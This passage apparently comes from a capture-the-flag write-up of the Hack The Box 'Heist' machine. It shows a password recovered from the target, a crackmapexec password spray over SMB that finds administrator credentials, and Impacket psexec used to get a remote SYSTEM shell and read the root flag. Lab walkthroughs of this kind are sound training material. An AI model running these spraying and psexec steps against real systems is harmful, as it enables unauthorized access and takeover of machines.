Here we see that a certain password shows up : 4dD!5}x/re8]FBuZ for the user admin@support.htb
|
||||
|
||||
|
||||
|
||||
Although it offers no progress whatsoever to log in as that user on the webservice so let's try our credentials somewhere else. let's update our users.txt
|
||||
|
||||
|
||||
secret
|
||||
admin
|
||||
rout3r
|
||||
support
|
||||
chase
|
||||
jason
|
||||
administrator
|
||||
|
||||
|
||||
let's update our pass.txt
|
||||
|
||||
|
||||
4dD!5}x/re8]FBuZ
|
||||
|
||||
|
||||
With our updated users.txt, let's run crackmapexec once again with the password we just found.
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt --shares
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False)
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\chase:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\jason:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\administrator:4dD!5}x/re8]FBuZ (Pwn3d!)
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [+] Enumerated shares
|
||||
SMB 10.10.10.149 445 SUPPORTDESK Share Permissions Remark
|
||||
SMB 10.10.10.149 445 SUPPORTDESK ----- ----------- ------
|
||||
SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ READ,WRITE Remote Admin
|
||||
SMB 10.10.10.149 445 SUPPORTDESK C$ READ,WRITE Default share
|
||||
SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IPC
|
||||
|
||||
|
||||
and we get matching credentials ! administrator:4dD!5}x/re8]FBuZ let's test out our freshly acquired credentials.
|
||||
|
||||
|
||||
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
||||
→ python3 psexec.py administrator@10.10.10.149
|
||||
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
|
||||
|
||||
Password:
|
||||
[*] Requesting shares on 10.10.10.149.....
|
||||
[*] Found writable share ADMIN$
|
||||
[*] Uploading file REyCZIUo.exe
|
||||
[*] Opening SVCManager on 10.10.10.149.....
|
||||
[*] Creating service BCMq on 10.10.10.149.....
|
||||
[*] Starting service BCMq.....
|
||||
[!] Press help for extra shell commands
|
||||
Microsoft Windows [Version 10.0.17763.437]
|
||||
(c) 2018 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Windows\system32>type \users\administrator\desktop\root.txt
|
||||
50XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
|
||||
## **Conclusion**
|
||||
|
||||
Here we can see the progress graph :
|
||||
|
||||
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue